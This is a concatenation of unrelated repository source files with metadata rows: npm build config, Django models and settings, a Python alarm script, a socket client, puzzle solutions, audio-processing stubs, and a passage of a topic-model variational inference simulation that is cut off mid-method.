"v8_no_strict_aliasing": 1,
"v8_optimized_debug": 1,
"v8_promise_internal_field_count": 1,
"v8_random_seed": 0,
"v8_trace_maps": 0,
"v8_use_siphash": 1,
"want_separate_host_toolset": 0,
"xcode_version": "11.0",
"nodedir": "/Users/ishwaryabolla/Library/Caches/node-gyp/14.2.0",
"standalone_static_library": 1,
"fallback_to_build": "true",
"library": "static_library",
"module": "/Users/ishwaryabolla/Documents/catch-of-the-day/node_modules/grpc/src/node/extension_binary/node-v83-darwin-x64-unknown/grpc_node.node",
"module_name": "grpc_node",
"module_path": "/Users/ishwaryabolla/Documents/catch-of-the-day/node_modules/grpc/src/node/extension_binary/node-v83-darwin-x64-unknown",
"napi_version": "6",
"node_abi_napi": "napi",
"node_napi_label": "node-v83",
"save_dev": "",
"legacy_bundling": "",
"dry_run": "",
"viewer": "man",
"only": "",
"commit_hooks": "true",
"browser": "",
"also": "",
"sign_git_commit": "",
"rollback": "true",
"usage": "",
"audit": "true",
"globalignorefile": "/usr/local/etc/npmignore",
"shell": "/bin/bash",
"maxsockets": "50",
"init_author_url": "",
"shrinkwrap": "true",
"parseable": "",
"metrics_registry": "https://registry.npmjs.org/",
"timing": "",
"init_license": "ISC",
"if_present": "",
"sign_git_tag": "",
"init_author_email": "",
"cache_max": "Infinity",
"preid": "",
"long": "",
"local_address": "",
"git_tag_version": "true",
"cert": "",
"registry": "https://registry.npmjs.org/",
"fetch_retries": "2",
"versions": "",
"message": "%s",
"key": "",
"globalconfig": "/usr/local/etc/npmrc",
"prefer_online": "",
"logs_max": "10",
"always_auth": "",
"global_style": "",
"cache_lock_retries": "10",
"update_notifier": "true",
"heading": "npm",
"audit_level": "low",
"searchlimit": "20",
"read_only": "",
"offline": "",
"fetch_retry_mintimeout": "10000",
"json": "",
"access": "",
"allow_same_version": "",
"https_proxy": "",
"engine_strict": "",
"description": "true",
"userconfig": "/Users/ishwaryabolla/.npmrc",
"init_module": "/Users/ishwaryabolla/.npm-init.js",
"cidr": "",
"user": "",
"node_version": "14.2.0",
"save": "true",
"ignore_prepublish": "",
"editor": "vi",
"auth_type": "legacy",
"tag": "latest",
"script_shell": "",
"progress": "true",
"global": "",
"before": "",
"searchstaleness": "900",
"optional": "true",
"ham_it_up": "",
"save_prod": "",
"force": "",
"bin_links": "true",
"searchopts": "",
"node_gyp": "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js",
"depth": "Infinity",
"sso_poll_frequency": "500",
"rebuild_bundle": "true",
"unicode": "true",
"fetch_retry_maxtimeout": "60000",
"tag_version_prefix": "v",
"strict_ssl": "true",
"sso_type": "oauth",
"scripts_prepend_node_path": "warn-only",
"save_prefix": "^",
"ca": "",
"save_exact": "",
"group": "20",
"fetch_retry_factor": "10",
"dev": "",
"version": "",
"prefer_offline": "",
"cache_lock_stale": "60000",
"otp": "",
"cache_min": "10",
"searchexclude": "",
"cache": "/Users/ishwaryabolla/.npm",
"color": "true",
"package_lock": "true",
"package_lock_only": "",
"fund": "true",
"save_optional": "",
"ignore_scripts": "",
"user_agent": "npm/6.14.4 node/v14.2.0 darwin x64",
"cache_lock_wait": "10000",
"production": "",
"send_metrics": "",
"save_bundle": "",
"umask": "0022",
"node_options": "",
"init_version": "1.0.0",
"init_author_name": "",
"git": "git",
"scope": "",
"unsafe_perm": "true",
"tmp": "/var/folders/2r/nv47r1b55jjg08zz_w_8y3bm0000gn/T",
"onload_script": "",
"prefix": "/usr/local",
"link": "",
"format_package_lock": "true"
}
}
| [
"ishwarya.bolla96@gmail.com"
] | ishwarya.bolla96@gmail.com |
ceb7045f045495b1369a753a9c13c61dab7b9581 | 3a92716a96c0d33adff065223a0df10d2cbc2c7c | /Person/models.py | 99e0dab0ec1144bd12b8324738cd33e4c469013d | [] | no_license | cjmcfaul/workorder | 328d84df4a584d185f24719636f2df38ccd46523 | 7451b07faa641409bfb79e9c17034522354380f2 | refs/heads/master | 2021-06-17T18:20:37.820388 | 2017-06-01T15:07:06 | 2017-06-01T15:07:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,318 | py | from __future__ import unicode_literals
from django.db import models
# Create your models here.
class Vendor(models.Model):
TYPE = (
("E","Exterminator"),
("P","Plumber"),
("Z","Electrician"),
("G","General Contractor"),
("H","Handy Man"),
)
name = models.CharField(max_length=200)
email = models.CharField(max_length=200)
phone = models.CharField(max_length=200)
vendor_type = models.CharField(
max_length=1,
choices = TYPE,
)
def __str__(self):
return '{}'.format(self.name)
class Tenant(models.Model):
name = models.CharField(max_length=200)
email = models.CharField(max_length=200)
phone = models.CharField(max_length=200)
unit = models.ForeignKey(
'Property.Unit',
)
def __str__(self):
return '{}'.format(self.name)
class Staff(models.Model):
name = models.CharField(max_length=200)
email = models.CharField(max_length=200)
phone = models.CharField(max_length=200)
def __str__(self):
return '{}'.format(self.name)
class Owner(models.Model):
name = models.CharField(max_length=200)
email = models.CharField(max_length=200)
phone = models.CharField(max_length=200)
def __str__(self):
return '{}'.format(self.name)
| [
"colinjmcfaul@gmail.com"
] | colinjmcfaul@gmail.com |
d074e2f1226b84ae304ef819bb530d14d42e76af | 5818b16be6c69e9e77ac217fb1f61592b7e286a7 | /alarm.py | c05b5dbf29f6b142868bec0b1711010871fc4cfd | [] | no_license | suvansinha/Date-and-time | 77748a7a0b9f56616e2647e9b8cf0ce25929a634 | 33d18ba0115e05b17cdfcc51ec6eff9ab1e4dac5 | refs/heads/main | 2022-12-30T01:45:07.872898 | 2020-10-17T12:39:06 | 2020-10-17T12:39:06 | 301,742,522 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 986 | py | import os
import datetime
from playsound import playsound
from AppKit import NSSound
os. system('clear')
alarmH = int(input("What hour do you want the alarm to ring? "))
alarmM = int(input("What minute do you want the alarm to ring? "))
amPm = str(input("am or pm? "))
os. system('clear')
print("Waiting for alarm",alarmH,alarmM,amPm)
if (amPm == "pm"):
alarmH = alarmH + 12
while(1 == 1):
if(alarmH == datetime.datetime.now().hour and
alarmM == datetime.datetime.now().minute) :
print("Time to wake up")
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
playsound('/your/path/to/file/beep-07.mp3')
break | [
"noreply@github.com"
] | suvansinha.noreply@github.com |
071d7ad1727d8f2f9952cc1d3957de6fff8c3dba | 502925e0f4e304364e3f955e91c882c315afcb00 | /mysite/settings.py | 404ea2a254d683ce9685266a8520619b6fa5e672 | [] | no_license | JSPlike/OnePerson | e9b15f342c0fb120e109ff56b1981009ad0f725c | c7f12971c8356acefbbac5ae1de0314185229bbe | refs/heads/master | 2021-07-21T20:06:16.643998 | 2017-10-31T05:00:14 | 2017-10-31T05:00:14 | 108,928,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,215 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.11.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '#p@3(58i@^zooxu#f$^)d5ns(+5i%e58rhl!1s@+lmv!qugrx7'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ['localhost', '127.0.0.1', '::1', 'pythonanywhere.com']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'myapp'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysite.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysite.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.11/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.11/topics/i18n/
LANGUAGE_CODE = 'ko-kr'
TIME_ZONE = 'Asia/Seoul'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.11/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
| [
"moter2588@gmail.com"
] | moter2588@gmail.com |
1ef0e17cfa7a4bbe22301e1de4b0cc138b130ffd | 22244d8b763d172b342f52c9707c61f288257b50 | /2016/Day17_TwoStepsForward.py | 9d88b64599974f68cb9513abfe27e5e85e173df5 | [] | no_license | mimada/Advent16 | c82859daf333dc240ca1514d2fafd4ad09a501f9 | 32f80d2d7f4c8d8b6e5748cde9968620b438590e | refs/heads/master | 2021-01-12T09:44:28.770571 | 2018-12-08T22:23:53 | 2018-12-08T22:23:53 | 76,232,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 702 | py | #
# 119804-20161201-18fba1ee
# http://adventofcode.com/2016/day/17
#########
#S| | | #
#-#-#-#-#
# | | | #
#-#-#-#-#
# | | | #
#-#-#-#-#
# | | |
####### V#
import md5
class TwoStepsForward:
def __init__(self):
self.count = 0
def getCount(self):
return self.count
def main():
print('Start TwoStepsForward')
moves1 = []
c = TwoStepsForward('ihgpwlah') # DDRRRD
# c = TwoStepsForward('kglvqrro') # DDUDRLRRUDRD
# c = TwoStepsForward('ulqzkmiv') # DRURDRUDDLLDLUURRDULRLDUUDDDRR
# c = TwoStepsForward('ioramepc') # ?
c.move(moves1[0])
print 'KeyPad 1 code:', c.getCount()
if __name__ == '__main__':
main() | [
"mikaelm@mimada.se"
] | mikaelm@mimada.se |
be2f60c5816e0fe6a20fffe0c75c2dce03f9f333 | 172018f686da5ba8390cb0f20a5ff5fe9cb25e28 | /src/process_audio.py | d32a06381290b07523735ba0173464d45e0cadb0 | [] | no_license | mcstanle/freezam | e397e92a75349a2ecc2eb2275a2dcf3670d48ae3 | ea9233c50b1aa3d4d8fde45afb213c9ab271286a | refs/heads/master | 2020-08-02T20:19:37.546253 | 2019-09-29T23:05:21 | 2019-09-29T23:05:21 | 211,495,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,739 | py | """
Classes and functions to provide the audio processing functionality.
Broadly, the code in this file should do the following:
1. Apply a window function to an audio file.
2. Compute local periodograms from windowed signal.
3. Smooth Periodograms.
4. Compute window signature --> this is handled by signatureGenerator
===============================================================================
Author: Mike Stanley
Created: September 28, 2019
Last Modified: September 29, 2019
===============================================================================
TODO:
1. How do we deal with the left and right signal?
2. Understand the output of the create_windows function.
3. finish the periodogram function
4. start the signatures function
5. add additional signature methods to signatureGenerator
"""
class signatureGenerator:
"""
Compute signature for periodogram. Several signature schemes will be
handled in this function corresponding to some of the options in the
original pdf.
1. unsmoothed
2. smoothed
...
"""
def __init__(self, signature_type):
self.signature_type=signature_type
def unsmooth_signature(self, inp_periodogram):
"""
For signature_type='unsmoothed', finds the unsmoothed periodogram.
Parameters:
inp_periodogram (numpy array) : periodgram to be processed
Returns:
unsmooted periodogram
"""
pass
def smooth_signature(self, inp_periodogram):
"""
For signature_type='smoothed', finds the smoothed periodogram.
Parameters:
inp_periodogram (numpy array) : periodgram to be processed
Returns:
smooted periodogram
"""
pass
#TODO: add more signature methods
def generate_signature(self, periodogram):
"""
Wrapper around all the above signature generating functions.
Parameters:
audio_ts (numpy array): periodogram for which we'll generate signature
Returns:
generated signature (output varies)
"""
### series of elif statements
pass
class processAudio:
"""
Class to configure audio processing pipeline. This pipeline should include
functions that:
- produce a windowed time series
- compute periodogram of windowed time series
- compute signatures of windowed time series
Note, this class doesn't have any read capabilities because that taks is
handled by the database class.
"""
def __init__(self,
window_type, window_size, window_shift,
signature_type
):
self.window_type=window_type
self.window_size=window_size
self.window_shift=window_shift
self.signature_generator=signatureGenerator(signature_type)
def create_windows(self, data, fs):
"""
Created a windowed time series from data.
Parameters:
data (numpy array) : 2 column numpy array with L and R signals
fs (int) : frequency sample
Returns:
windowed time series (list of numpy arrays)
"""
pass
def create_periodogram(self, single_window):
"""
Given a single window of a time series, computes the periodogram.
Parameters:
single_window (numpy array) :
"""
pass
def create_signature(self, audio_ts):
"""
Produces a signature given an audio_ts.
Parameters:
audio_ts (numpy array) : time series for which we create a signature
Returns:
low dimensional signature (output varies depending upon signature type)
"""
pass | [
"mcstanle@andrew.cmu.edu"
] | mcstanle@andrew.cmu.edu |
161381b413380795aca8c929268f18b4c212f395 | b5d87f3fbe5ae84522c9391040a51145966ed226 | /yelp/basic_python/client.py | a407ecbde4dc0b02fc7be7b2e20205d64bfbbe52 | [] | no_license | oliverhuangchao/algorithm | f8b17743436c7d2e92b0761deafbf6af93ef922f | 858885bc2b6b7070b5536695214c915106d56f8c | refs/heads/master | 2021-01-10T05:54:41.181112 | 2015-07-09T19:55:04 | 2015-07-09T19:55:04 | 36,044,053 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host,port))
print s.recv(1024)
s.close()
| [
"chaoh@g.clemson.edu"
] | chaoh@g.clemson.edu |
accd196693c2779748ce5a466d625f0e72b02186 | 08521c93d1de0be5fae50001cc9fa100d298597d | /Puzzles/Easy/HungerGames.py | 77f66966b82e93bc950e134ee832fe6de3c0eee9 | [
"MIT"
] | permissive | Naheuldark/Codingame | 937fc91720529b3b1c4a685606af7b09659a1119 | 1ded71fad8386f3dda74f9b57ff1c056146206c3 | refs/heads/main | 2023-02-15T08:21:02.253854 | 2020-12-18T08:55:55 | 2020-12-18T08:55:55 | 319,281,967 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | import sys
import math
num_tributes = int(input())
tributes = {input(): {'killer': 'Winner', 'killed': []} for _ in range(num_tributes)}
turns = int(input())
for _ in range(turns):
name, _, *victims = input().split()
for victim in [v.replace(',', '') for v in victims]:
tributes[name]['killed'].append(victim)
tributes[victim]['killer'] = name
for i, tribute in enumerate(sorted(tributes)):
if i != 0:
print()
print('Name: {}'.format(tribute))
victims = tributes[tribute]['killed']
if not victims:
print('Killed: None')
else:
print('Killed: {}'.format(', '.join(sorted(victims))))
print('Killer: {}'.format(tributes[tribute]['killer']))
| [
"julien.bordas@amadeus.com"
] | julien.bordas@amadeus.com |
11886647b4039cf4ea6cff973f854b580fc4b37c | 188d711ae8d0bfc7858828bf264df63d629b7905 | /tiltshift.py | 94fa289230161925357a22b7b97a9b5dfff538ad | [] | no_license | hashed-sandbox/opencv-python-demo | 0e6afa78bd2d8411edf96b7494a9f380f0fbf2ec | 51fc517d68ebe246569d7bb19825f126e84978d8 | refs/heads/master | 2016-09-14T05:42:56.851445 | 2016-05-11T14:32:26 | 2016-05-11T14:32:26 | 58,552,637 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Imitate effects of tilt-shift lense.
"""
import numpy as np
import cv2
import sys
from boxfilter1 import boxfilter
cap = cv2.VideoCapture(0)
if not cap.isOpened():
sys.exit("No cameras available!")
while True:
ret, img_orig = cap.read()
img_src = cv2.cvtColor(img_orig, cv2.COLOR_BGR2GRAY)
img_dst = np.empty_like(img_src)
height, width = img_dst.shape
for y in xrange(height):
size = abs(height * 0.8 - y) * 20 / height + 1
for x in xrange(width):
img_dst[y][x] = boxfilter(img_src, int(size), x, y)
cv2.imshow("Before", img_src)
cv2.imshow("After", img_dst)
if cv2.waitKey(10) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
| [
"ryo_kato@hashedhyphen.com"
] | ryo_kato@hashedhyphen.com |
a9be3e9178b571cd5feb05f663d37ae2ea0985c2 | 8815fe12e89f45d4b51bdc9eafdc199628801666 | /strategy/test/make_abba_wl.py | dc45ad6aaf634c90a0a0fb0ab07d0f877ae3553e | [] | no_license | IamSzymeQQQ/PyScrabble | ddecf630c0c7f7bc6bfa89ff2f4326855aacb60c | ea346f64d383b03c7584573c76ede33c13dab787 | refs/heads/master | 2023-08-22T16:06:57.047968 | 2013-09-08T04:22:59 | 2013-09-08T04:22:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | __author__ = 'Jacky'
from itertools import product
with open('./wordlists/ABBA.txt', 'w') as f:
for i in xrange(1, 6):
for s in product('AB', repeat=i):
f.write(''.join(s))
f.write('\n')
| [
"xjtian94@gmail.com"
] | xjtian94@gmail.com |
dca053fdcac8ab0cba305ddd4aae1369d921e7b8 | 0344e02d9bb5946b2fa5982680bf40e4bac5800c | /gtt/posts/admin.py | 40fbc52e93014e638b845c0bdc42a4f2eb48f969 | [] | no_license | AppsLab-KE/gtt-backend | 5619b094e39c88a9b1fec2ac7094c0267b966db4 | dce0e82f205e3b688e25a32310c707e39e1f7194 | refs/heads/master | 2021-07-04T04:44:38.063509 | 2020-11-09T15:14:54 | 2020-11-09T15:14:54 | 198,700,423 | 4 | 1 | null | 2020-09-29T09:48:04 | 2019-07-24T19:49:10 | Python | UTF-8 | Python | false | false | 691 | py | from django.contrib import admin
from django.contrib.auth import get_user_model
from posts.models import Category, Post, Comment, Reply, Bookmark
from posts.forms import CategoryForm
User = get_user_model()
class CategoryAdmin(admin.ModelAdmin):
form = CategoryForm
list_display = (
'category_name',
'resource_key',
'slug',
)
class BookmarkAdmin(admin.ModelAdmin):
list_display = (
'bookmarked_post',
'user_that_bookmarked',
)
admin.site.register(Category, CategoryAdmin)
admin.site.register(Post)
admin.site.register(Comment)
admin.site.register(Reply)
admin.site.register(Bookmark, BookmarkAdmin)
admin.site.register(User)
| [
"colasgikonyo@gmail.com"
] | colasgikonyo@gmail.com |
64d29f78ae1643a4169e7455dbbc3beeb67c6dbd | 676f6f2d02db6aeeaa1bb0b28ab49e8c73923d0e | /venv/Lib/site-packages/neuralcoref/utils.py | 333ad28bbab947b38a586275274aca661ffe68f6 | [
"Apache-2.0"
] | permissive | vrian/orsen | ce34f74ea3a14c95d37ffa5c694b7c66725925df | 9c10148aba62868fad4b679a4b9b717829586e96 | refs/heads/master | 2023-01-21T21:47:06.210918 | 2018-06-23T04:46:26 | 2018-06-23T04:46:26 | 120,284,869 | 1 | 0 | Apache-2.0 | 2023-01-09T09:39:16 | 2018-02-05T09:44:03 | Python | UTF-8 | Python | false | false | 2,946 | py | # coding: utf8
"""Utils"""
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ import print_function
from concurrent.futures import ThreadPoolExecutor, as_completed
import numpy as np
from tqdm import tqdm
DISTANCE_BINS = list(range(5)) + [5]*3 + [6]*8 + [7]*16 +[8]*32
def encode_distance(x):
''' Encode an integer or an array of integers as a (bined) one-hot numpy array '''
def _encode_distance(d):
''' Encode an integer as a (bined) one-hot numpy array '''
dist_vect = np.zeros((11,))
if d < 64:
dist_vect[DISTANCE_BINS[d]] = 1
else:
dist_vect[9] = 1
dist_vect[10] = min(float(d), 64.0) / 64.0
return dist_vect
if isinstance(x, np.ndarray):
arr_l = [_encode_distance(y)[np.newaxis, :] for y in x]
out_arr = np.concatenate(arr_l)
else:
out_arr = _encode_distance(x)
return out_arr
def parallel_process(array, function, n_jobs=16, use_kwargs=False, front_num=10):
"""
A parallel version of the map function with a progress bar.
Args:
array (array-like): An array to iterate over.
function (function): A python function to apply to the elements of array
n_jobs (int, default=16): The number of cores to use
use_kwargs (boolean, default=False): Whether to consider the elements of array as dictionaries of
keyword arguments to function
front_num (int, default=3): The number of iterations to run serially before kicking off the parallel job.
Useful for catching bugs
Returns:
[function(array[0]), function(array[1]), ...]
"""
#We run the first few iterations serially to catch bugs
if front_num > 0:
front = [function(**a) if use_kwargs else function(a) for a in array[:front_num]]
#If we set n_jobs to 1, just run a list comprehension. This is useful for benchmarking and debugging.
if n_jobs==1:
return front + [function(**a) if use_kwargs else function(a) for a in tqdm(array[front_num:])]
#Assemble the workers
with ThreadPoolExecutor(max_workers=n_jobs) as pool:
#Pass the elements of array into function
if use_kwargs:
futures = [pool.submit(function, **a) for a in array[front_num:]]
else:
futures = [pool.submit(function, a) for a in array[front_num:]]
kwargs = {
'total': len(futures),
'unit': 'it',
'unit_scale': True,
'leave': True
}
#Print out the progress as tasks complete
for _ in tqdm(as_completed(futures), **kwargs):
pass
out = []
#Get the results from the futures.
for future in tqdm(futures):
try:
out.append(future.result())
except Exception as e:
out.append(e)
return front + out
| [
"jbryanalburo@gmail.com"
] | jbryanalburo@gmail.com |
89d92b5b38f130dfa99c546233c90801a058f3b5 | ffc77ca014668e2a4233e1df2eb73717f30135ea | /vocab/urls.py | 5e856aab0a038f46cf907f6da4ded200367223b2 | [] | no_license | horatius83/Vocab-Site | 4ad629af4cf5b107438ea2a099bdfbf71945d08a | 34716dc2a7dfa8c5c7d3241d54884523dfe896d4 | refs/heads/master | 2016-09-05T09:48:17.676833 | 2016-02-28T03:49:57 | 2016-02-28T03:49:57 | 42,882,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 171 | py | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.index, name='index'),
url(r'^quiz', views.quiz, name='quiz')
]
| [
"horatius83@gmail.com"
] | horatius83@gmail.com |
f30d4cfb7f19261ff36930b150a85ca1839c3d13 | bd17d6bd054b2b8750a5e39781aec342b8d3144e | /app/migrations/0003_location.py | c7a87d24bba42de3406930c8388f8e5b9961a094 | [
"MIT"
] | permissive | TobiasRosskopf/django_backend_template | b9c9154932acef7d7cbfb6c6e4186605b5ffb6ae | 1de5ea6b9006b0cc3898873b26ea251313cfe61d | refs/heads/master | 2023-03-14T03:02:25.200889 | 2021-03-05T19:29:40 | 2021-03-05T19:29:40 | 302,465,508 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 810 | py | # Generated by Django 3.1.6 on 2021-02-11 08:20
import django.contrib.gis.db.models.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0002_auto_20201008_2120'),
]
operations = [
migrations.CreateModel(
name='Location',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=50)),
('geom', django.contrib.gis.db.models.fields.PointField(srid=4326)),
],
options={
'verbose_name': 'Standort',
'verbose_name_plural': 'Standorte',
'ordering': ['name'],
},
),
]
| [
"tobirosskopf@gmail.com"
] | tobirosskopf@gmail.com |
f029f3b8ad02d37ea4d6024f24333d119d6577e8 | 4aaf72fe9b36568ed3f33e9eef6e8f8471cd034b | /products/views.py | 5a7ce9399ef1ddd9769970e8216eb512014e5ec5 | [] | no_license | henryd24/backend-django | 6d0c4f4ef8be37d9d6f817e3a76c7340dc578189 | 6e5c98aa2b3c9dfc5fb7bdfd55c02435152ea57a | refs/heads/main | 2023-07-11T00:41:52.151602 | 2021-08-19T20:30:32 | 2021-08-19T20:30:32 | 398,066,562 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,852 | py | from .producer import publishmqtt
from rest_framework import viewsets, status
from rest_framework.response import Response
from rest_framework.views import APIView
from .models import Product, User
from .serializers import ProductSerializer
import random,json
class ProductViewSet(viewsets.ViewSet):
def list(self, request): #/api/products
products = Product.objects.all()
serializer = ProductSerializer(products, many=True)
return Response(serializer.data)
def create(self, request): # /api/products
serializer = ProductSerializer(data = request.data)
serializer.is_valid(raise_exception=True)
serializer.save()
publishmqtt('product_created', json.dumps(serializer.data))
return Response(serializer.data, status=status.HTTP_201_CREATED)
def retrieve(self, request, pk=None): #/api/products/<str:id>
product = Product.objects.get(id=pk)
serializer = ProductSerializer(product)
return Response(serializer.data)
def update(self, request, pk=None): #/api/products/<str:id>
product = Product.objects.get(id=pk)
serializer = ProductSerializer(instance=product, data = request.data)
serializer.is_valid(raise_exception=True)
serializer.save()
publishmqtt('product_updated', json.dumps(serializer.data))
return Response(serializer.data, status=status.HTTP_202_ACCEPTED)
def destroy(self, request, pk=None): #/api/products/<str:id>
product = Product.objects.get(id=pk)
product.delete()
publishmqtt('product_deleted', pk)
return Response(status=status.HTTP_204_NO_CONTENT)
class UserAPIView(APIView):
def get(self, _):
users = User.objects.all()
user = random.choice(users)
return Response({
'id': user.id
}) | [
"noreply@github.com"
] | henryd24.noreply@github.com |
523cd653c2997df934cb9224042b5f56a7846918 | b5af81118108e15845cbcdec046c30f168b831f3 | /simulation_code.py | 3f0040b7ed239eb6158417dcd31106ab724d7d4f | [] | no_license | bGhorbani/Variational-Inference-Instability | a1fba4a82af52bc592bc89cb7a2c7fb4a10c7be4 | 5776499ff794fe608b2a13c130aeecddbb4ba2d1 | refs/heads/master | 2020-03-08T22:19:23.471638 | 2018-05-01T20:59:34 | 2018-05-01T20:59:34 | 128,427,764 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 28,639 | py | # This file includes the code for generating an instance of
# the topic modeling problem (Simulation Class), variational
# inference algorithm (Variational_Simulation Class), the AMP
# (AMP_Simulation Class), and the damped AMP algorithm
# (Damped_AMP_Simulation).
# Last edited by Behrooz Ghorbani on April 1st 2018.
import numpy as np
import math
import itertools
import sys
import scipy.linalg as SCL
class Simulation(object):
"""This class simulates an instance of the problem from
the model X = \sqrt(beta) / d * W * H^T + Z
where Z ~ N(0, 1 / d), rows of W ~ Dir(alpha)
and H ~ N(0, 1). W is n-by-k and H is d-by-k.
Main Attributes:
_beta : signal strength
_n : number of variables
_d : number of observations
_alpha : the Dirichlet parameter (k-dimensional)
_tol : convergence tolerence
_max_iter : maximum number of allowed estimation iterations
_min_iter : minimum number of allowed estimation iterations
_W : population class weights
_H : population class profile
_W_hat : estimated class weights
_H_hat = estimated class profile
"""
def __init__(self, n, d, beta, alpha, iteration_tol, integration_tol):
"""Instantiates the simulation by setting the fundamental parameters of
the problem."""
self._beta = beta
self._n = int(n)
self._d = int(d)
self._alpha = np.array(alpha)
self._delta = n / (d + 0.0)
# The default parameters
if (iteration_tol is None):
self._tol = 0.005
self._max_iters = 250
self._min_iters = 50
else:
self._tol = iteration_tol[0]
self._max_iters = iteration_tol[1]
self._min_iters = iteration_tol[2]
self._integ_tol = integration_tol
k = len(alpha)
self._k = int(k)
# integration variables
self._grid = None
self._grid_inner_prods = None
self._prior_density = None
self._construct_grid()
M = self._grid.shape[0]
self._tilt_cache = np.ones((M, 1))
# Generating the Problems
self._W = np.random.dirichlet(alpha, size = self._n)
self._H = np.random.normal(0, 1, size = (self._d, k))
self._Z = np.random.normal(0, (1.0 / math.sqrt(d)), size = (self._n, self._d))
self._X = (math.sqrt(beta + 0.0) / d) * np.dot(self._W, self._H.T) + self._Z
self._flag = False
# estimates
self._W_hat = np.ones((self._n, self._k)) / (k + 0.0)
self._H_hat = np.random.normal(size = (self._d, self._k))
# initial start points
self._W_0 = np.copy(self._W_hat)
self._H_0 = np.copy(self._H_hat)
# The attributes below record the statistics of the final estimate:
self._deltaW_norms = np.zeros((k, 2))
self._deltaH_norms = np.zeros((k, 2))
self._iterations_taken = None
# Convergence Errors
self._err = np.zeros((self._max_iters, 1))
# Distance from uninformative fixed-point
self._dist = np.zeros((self._max_iters, 2))
# Average Norm:
self._H_ave_norm = 0
self._W_ave_norm = 0
# inner product of the column difference
self._Wdiff_in = 0
self._Wdiff_corr = 0
self._Hdiff_corr = 0
self._Hdiff_in = 0
# norm of the difference
self._Wdiff_norm = 0
self._Hdiff_norm = 0
# Calculation for Binder Cumulant
self._delta_H_inner = 0
self._delta_W_inner = 0
self._delta_H_norm = 0
self._delta_W_norm = 0
self._binder_epsilon = 0.0001
# Indicator of the convergence of the instance
self._converged = False
def _construct_grid(self):
"""This function constructs a uniform grid over the simplex
for computing numerical integrals."""
tol = self._integ_tol
N = int(1.0 / tol) - 1
k = int(self._k)
temp = np.zeros((N**(k - 1), k))
indices = [0] * k
one_dim_grid = np.linspace(tol, 1.0, num = int(N), endpoint = False)
index = 0
for i in range(N ** (k - 1)):
tau = []
zeta = int(i)
for j in range(k - 1):
indices[j] = zeta % N
zeta = zeta / N
tau.append(one_dim_grid[indices[j]])
if np.sum(tau) < 1:
tau.append(1 - np.sum(tau))
temp[index, :] = np.array(tau)
index += 1
self._grid = temp[:index, :]
# To speed up our computation, we precompute some
# recurring quantities here
nu = self._alpha[0] - 1
M = self._grid.shape[0]
